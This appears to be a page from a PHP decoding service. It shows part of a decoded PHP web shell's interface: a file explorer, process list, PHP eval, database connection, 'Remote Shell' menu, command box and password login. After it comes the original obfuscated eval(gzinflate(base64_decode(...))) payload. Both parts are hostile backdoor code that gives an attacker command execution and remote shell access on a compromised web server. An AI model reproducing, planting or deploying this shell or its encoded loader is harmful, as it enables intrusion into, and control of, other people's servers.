 <script type="text/javascript" src="<?php echo $_SERVER[\'SCRIPT_NAME\']."?sorttable"; ?>"></script>
 <script type="text/javascript">
 function tukar(l,b){
 if(document.getElementById(l)) document.getElementById(l).style.display = \'none\';
 if(document.getElementById(b)) document.getElementById(b).style.display = \'block\';
 }
 function init(){
 <?php if(isset($_REQUEST[\'cmd\'])) echo "if(document.getElementById(\'cmd\')) document.getElementById(\'cmd\').focus();"; ?>
 }
 </script>
 
 </head>
 
 <body onLoad="init();">
 <table id="main"><tr><td><?php if($s_auth){ ?>
 <div><table id="header"><tr><td><table><tr><td><h1><a href="?"><?php echo $s_name; ?></a></h1></td></tr><tr><td style="text-align:right;"><div class="ver"><?php echo $s_ver; ?></div></td></tr></table></td>
 <td><div class="headinfo"><?php echo $s_info; ?></div></td></tr></table>
 </div>
 <div style="clear:both;"></div>
 <div id="menu">
 <table style="width:100%;"><tr>
 <td><a href="?&d=<?php echo $pwd; ?>" title="Explorer"><div class="menumi">xpl</div></a></td>
 <td><a href="?ps&d=<?php echo $pwd; ?>" title="Display process status"><div class="menumi">ps</div></a></td>
 <td><a href="?eval&d=<?php echo $pwd; ?>" title="PHP eval function"><div class="menumi">eval</div></a></td>
 <td><a href="?phpinfo&d=<?php echo $pwd; ?>" title="Information about current state of PHP"><div class="menumi">php</div></a></td>
 <td><a href="?db&d=<?php echo $pwd; ?>" title="Connect to database"><div class="menumi">db</div></a></td>
 <td><a href="?rs&d=<?php echo $pwd; ?>" title="Remote Shell"><div class="menumi">rs</div></a></td>
 <td style="width:100%;padding:0 0 0 6px;">
 <form action="?" method="get"><span class="prompt"><?php echo $s_prompt; ?></span>
 <input id="cmd" class="inputz" type="text" name="cmd" style="width:70%;" value="" />
 <noscript><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:80px;" /></noscript>
 <input type="hidden" name="d" value="<?php echo $pwd; ?>" />
 </form>
 </td>
 </tr>
 </table>
 </div>
 <div id="content" id="box_shell">
 <div id="result"><?php echo $s_result; ?></div>
 </div><?php } else{ ?>
 <div style="width:100%;text-align:center;">
 
 <form action="?" method="post">
 <img src="?favicon" style="margin:2px;vertical-align:middle;" />
 <?php echo $s_name; ?>&nbsp;<span class="gaya"><?php echo $s_ver; ?></span><input id="login" class="inputz" type="password" name="login" style="width:120px;" value="" />
 <input class="inputzbut" type="submit" value="Go !" name="submitlogin" style="width:80px;" />
 </form>
 </div>
 
 <?php
 } ?>
 </td></tr></table>
 <p class="footer">Jayalah Indonesiaku &copy;<?php echo date("Y",time())." ".$s_name; ?></p>
 </body>
 </html>
 '

Did this file decode correctly?

Original Code

eval("?>".gzinflate(base64_decode("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
